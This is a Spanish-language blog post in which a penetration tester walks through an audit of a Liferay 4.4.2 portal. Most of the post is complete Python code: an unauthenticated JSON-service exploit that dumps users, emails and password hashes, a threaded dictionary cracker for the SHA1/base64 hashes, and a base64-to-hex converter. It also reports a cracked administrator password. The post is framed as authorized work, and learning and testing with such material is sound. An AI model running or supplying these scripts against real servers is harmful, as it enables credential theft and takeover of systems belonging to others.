Día a día de un Pentester
Buenas, este es mi primer post en el blog y se me había ocurrido contar como es el día a día en la vida de un Pentester. Básicamente repasaré hechos de auditorías reales siendo más o menos detallista para que todo el mundo lo siga y pueda reproducirlo (siempre en un entorno controlado y propio o sobre el que se tiene autorización para ello, claro.).
Bueno, pues como en cada proyecto, todo empieza con el jefe mandando un mail en plan “a ver tío aquí tus próximos objetivos, dales caña!!!…” y claro ante tanta expresividad uno hace lo que puede xD.
Bien lo primero es echarle un ojo a esos equipos a ver que tienen publicados cara a internet, ver de quién son y/o quién los ha registrado etc… en este caso sólo había un objetivo con lo que vamos a poder estar totalmente dedicados a él y le daremos todo nuestro cariño xD
Bueno hasta ahí la info que nos interesa, obviamente he modificado/ocultado algunos datos debido a que son datos reales de una auditoría real hecha esta semana y no creo que a dicho cliente le haga gracia que vaya publicando su auditoría XD. El caso es que ya sabemos el rango que tiene reservado (en este caso sólo tenemos autorización para una IP pero a lo mejor encontramos info interesante xD) dirección y numero de teléfono y persona de contacto con su correo electrónico, lo cual nos puede venir muy bien para un posible ataque de ingeniería social o simplemente para agregar dicho usuario a un diccionario que nos vayamos creando para este objetivo …. yo que sé cualquier cosa que nos pueda servir !!!
El siguiente paso es lanzar un nmap para ver los puertos y servicios que tiene publicados cara a internet esta maquina, vamos a ello:
Como era de esperar sólo tienen publicado cara a internet el puerto 80 y el 443, y como info adicional tenemos que ejecutan un servidor apache. Hasta aquí todo bien, es algo bastante usual y tampoco tenemos mucha mas info. Pero ahora podemos centrarnos en todo el abanico de posibilidades de pruebas que nos dan las aplicaciones web.
Yo personalmente lo primero que hago es echarle un vistazo a la web, para ir viendo cómo esta organizada y más o menos y haciéndome una idea de lo que tengo como objetivo, aquí no voy a mostrar pantallazos de la web así que vamos a hacerle un par de peticiones HTTP a mano, (sí, lo sé, podríamos usar un proxy tipo paros para esto, pero si son sólo 2 peticiones j****)
Toma!! que curioso, nos redirecciona con un javascript chulo a la uri “/c”, uhmmm a mí me suena de algo, vamos a ver:
Se pone más interesante ahora nos redirecciona con un 302 a la uri “/c/portal/layout” y esto si que me suena más a un CMS bastante famoso, pero vamos a cerciorarnos, sigamos probando:
Bueno la verdad es que se esta poniendo pesadito con los p**** 302 y las redirecciones, sigamos:
Toma ya, al fin lo vemos claro, efectivamente es un CMS bastante famosete, concretamente es un “Liferay Enterprise Portal 4.4.2”. Bien ya tenemos la información que buscábamos (bueno que?, al final no ha sido tan duro hacerlo a mano no?? y no necesitas ninguna tool externa) así que el siguiente paso es mirar un poco por internet en busca de vulnerabilidades conocidas de ese software y esa versión en concreto.
Para ello podemos mirar en infinidad de páginas súper conocidas como securityfocus etc… pero si utilizamos bien a nuestro amo “google” él nos dará toda la información que le solicitemos, y gracias a él encontramos una vulnerabilidad de “Information disclosure”1 donde nos comentan que entre las versiones 4.x y 5.1 de Liferay existe un fallo que permite llamar a métodos json sin necesidad de estar autenticado, realmente la vulnerabilidad es tan sencilla y esta tan bien explicada que podemos implementarnos de forma fácil un pequeño script que realice las peticiones y nos parsee la salida mostrándola bonita xD, pues bien manos a la obra :
liferayHashDumper.py
#!/usr/bin/env pythonLo único que necesitamos en este script es “bruteforcear” el “roleId”, este valor está definido como un tipo “long”2 en el fichero correspondiente, pero haciendo una serie de búsquedas y pruebas varias se observa que en las versiones 4.x los roleId suelen ( y subrayo “suelen”) estar comprendidos entre los valores “10100” y “10500”, y en versiones 5.x suelen empezar en “0”. Sabiendo esto, y viendo que nuestro objetivo es un 4.4.2, ponemos al script a funcionar entre los valores anteriormente dichos a ver que obtenemos. Este script mostrará en pantalla los usuarios obtenidos y generará un fichero llamado “hashdump.txt” con el contenido “usuario:hash”:
# -*- coding: utf-8 -*-
import urllib2
import sys
def firma():
print “ntt~ Liferay 4.x – 5.1 Password Hash Disclosure ~”
print “ttDeveloped by: Maikel Mayan Alfonso”
print “ttEmail: maikel.mayan.alfonso@gmail.com”
print “ttReferences: http://www.mindedsecurity.com/MSA251009.html”
print “tt http://issues.liferay.com/browse/LPS-9555″
def header():
print “n+—————————————————————————————————————————————+”
print “| RoleId | Email | UserName | Hash | Privs | Active | IP |”
print “+—————————————————————————————————————————————+”
if not len(sys.argv) > 1 :
print “Uso: “+sys.argv[0]+” host”
sys.exit()
firma()
header()
host=sys.argv[1]
url=”http://”+host+”/c/portal/json_service”
callback=”callback=ss”
serviceClassName=”serviceClassName=com.liferay.portal.service.http.UserServiceJSON”
serviceMethodName=”serviceMethodName=getRoleUsers”
roleId=0
screenName=”screenName=getRoleUsers”
serviceParameters=”serviceParameters=roleId”
hashdump=open(“hashdump.txt”,”w”)
try:
for i in range(10100,10115):
roleId=i
data=callback+”&”+serviceClassName+”&”+serviceMethodName+”&”+”roleId=”+str(roleId)+”&”+screenName+”&”+serviceParameters
try:
response=urllib2.urlopen(url,data)
except urllib2.HTTPError:
print “Connection Error.”
print “Maybe, server not vulnerable?”
sys.exit()
r=response.read()
pw=em=l=a=p=u=False
for j in r.split(“,”):
field=j.split(“:”)
if field[0].strip(“””)==”password”:
passwd=field[1]
pw=True
elif field[0].strip(“””)==”emailAddress”:
email=field[1]
em=True
elif field[0].strip(“””)==”loginIP”:
ip=field[1]
l=True
elif field[0].strip(“””)==”active”:
active=field[1]
a=True
elif field[0].strip(“””)==”greeting”:
privs=field[1]
p=True
elif field[0].strip(“””)==”screenName”:
user=field[1]
u=True
if pw and em and l and a and p and u :
if len(r) > 7 :
print “| “+str(roleId).ljust(6)+” | “+email.ljust(28)+”| “+user.ljust(17)+”| “+passwd.ljust(30)+”| “+privs.ljust(15)+”| “+active.ljust(7)+”| “+ip.ljust(17)+”|”
hashdump.write(user.strip(“””)+”:”+passwd.strip(“””)+”n”)
pw=em=l=a=p=u=False
print “+—————————————————————————————————————————————+”
except KeyboardInterrupt:
print “keyboard interrupt captured, exiting!!”
hashdump.close()
Toma flan danone!!!!!! ahí están los users y passwords (cifrados, eso sí) de Liferay xDD, para los mas avispados, os habréis fijado que los hashes se repiten para varios roleId. Efectivamente son el mismo usuario, no sé por qué se les asignan varios roleId pero me lo he encontrado en todas las pruebas que he hecho (realmente tiene lógica ya que un usuario puede tener asignados varios roles diferentes)… el caso es que este script sólo muestra lo que yo he entendido es la info más relevante, sentíos libres de modificarlo para mostrar lo que queráis en pantalla.
Ahora que tenemos los hashes de los usuarios sólo nos queda crackearlas. A simple vista esos hashes parecen base64 y efectivamente se desencodean bien como tales, pero el resultado no es más que el “digest” del password. Para entendernos, cuando se cifra un password con los algoritmos más típicos como md5 o sha1 etc… se puede encodear en varios formatos, lo típico es encontrarlos en hexadecimal que es lo que todas las tools aceptan, pero en este caso los hashes los encodean en base64.
Mirando un poco por la red observamos en los foros de soporte que efectivamente, liferay genera el hash con el algoritmo SHA1 y lo encodea con base643 para almacenarlo en la base de datos.
Llegados a este punto, tenemos 2 opciones, ya que todas las tools (al menos las que yo conozco) admiten la versión hexadecimal del hash, con lo que las opciones que tenemos son:
- Programarnos un script que pase el hash que tenemos a la versión correspondiente, encodeada en hexadecimal.
- Programarnos un HashCracker especifico para nosotros xD.
liferayHashCracker.py
#!/usr/bin/env pythonComo veis es súper simple, así que solo necesitamos un buen diccionario, tiempo y sobre todo paciencia, paciencia …..
# -*- coding: utf-8 -*-
import hashlib
import base64
import sys
import threading
import os.path
def usage():
print “Uso: “+sys.argv[0]+” hashfile dicionario”
sys.exit()
def firma():
print “ntt~ Liferay Password Hash Cracker ~”
print “ttDeveloped by: Maikel Mayan Alfonso”
print “ttEmail: maikel.mayan.alfonso@gmail.com”
print “ttReferences: http://www.liferay.com/es/community/forums/-/message_boards/message/1114472#_19_message_1115955″
print “tt http://www.liferay.com/es/community/forums/-/message_boards/message/99076#_19_message_99078n”
def bruteforcer(pw,dic):
d=open(dic,”r”)
print “nTesting … “+pw[0]+” -> “+pw[1].rstrip(“n”),
for i in d:
passwd=hashlib.sha1()
c=i.rstrip(“n”)
passwd.update(c)
h=base64.b64encode(passwd.digest())
if h == pw[1].rstrip(“n”):
print “n += Found!!! =+n[+]User: “+pw[0]+” Password: “+i
d.close()
return
d.close()
return
if not len(sys.argv) == 3:
usage()
sys.exit()
firma()
dic=sys.argv[2]
if os.path.isfile(sys.argv[1]):
dump=open(sys.argv[1])
for i in dump:
t=threading.Thread(target=bruteforcer,args=(i.split(“:”),dic))
t.start()
dump.close()
else:
usage()
Realmente llegó un punto en el que le había pasado 3 diccionarios típicos y ya lo estaba lanzando con el mega diccionario, y como la paciencia no es una de mis virtudes me puse con la primera de las opciones xD
b64tohex.py
#!/usr/bin/env pythonYa con este script y el resultado del hash en hexadecimal podemos ir a cualquier password cracker que conozcamos. Yo personalmente utilicé “md5decrypter.co.uk” (gracias jaime xD) y casi al instante me devolvió la password “123admin321”, la verdad cual fue mi sorpresa, que cuando volví a mi querida shell vi que mi script también había obtenido tan deseado hash….
# -*- coding: utf-8 -*-
import sys
__author__ = “Maikel Mayan Alfonso”
__email__ = “maikel.mayan.alfonso@gmail.com”
__license__ = “GPL”
if not len(sys.argv) == 2:
print “Uso: “+sys.argv[0]+” base64″
sys.exit()
cadena=sys.argv[1].decode(“base64″)
size=len(cadena)
h=””
for i in range(size):
h+=hex(ord(cadena[i])).lstrip(“0x”)
sys.stdout.write(“nHash: “+h+”n”)
Pues bien, llegados a este punto ya somos administradores de la web xD, alguno se preguntará, y qué pasa con el otro usuario, “10100”, también era admin y su password no estaba cifrada. Pues bien, efectivamente ese usuario tiene permisos de admin pero no sé por qué en todas las pruebas que he hecho siempre hay un user cuyo username es un número y su correo default@liferay.com, y su password nunca esta cifrada, siempre es “password” y curiosamente nunca me he podido loguear con él… no sé realmente por qué, pero bueno ahí queda ;P
El siguiente paso seria intentar ejecutar comandos en el equipo, y realmente hay muchas formas de hacerlo, pero yo personalmente me fijé en ésta http://www.mindedsecurity.com/MSA261009.html. Pero bueno, esa es otra historia y quizás la cuente en otro post.
Un saludo y espero que os haya gustado el artículo más que a mí escribirlo :S, y también espero que hayáis comprobado que no hacen falta súper mega tools infernales para hackear ningún server, simplemente con los comandos que vienen en cualquier distro linux y algo de ingenio se pueden hacer maravillas.
Referencias:
[1] http://www.mindedsecurity.com/MSA251009.html
http://issues.liferay.com/browse/LPS-9555
[2]http://www.java2s.com/Open-Source/Java-Document/Portal/liferay-portal-4.4.2/com/liferay/portal/service/impl/UserLocalServiceImpl.java.htm
[3]http://www.java2s.com/Open-Source/Java-Document/Portal/liferay-portal-4.4.2/com/liferay/portal/security/pwd/PwdEncryptor.java.htm
http://www.liferay.com/es/community/forums/-/message_boards/message/99076#_19_message_99078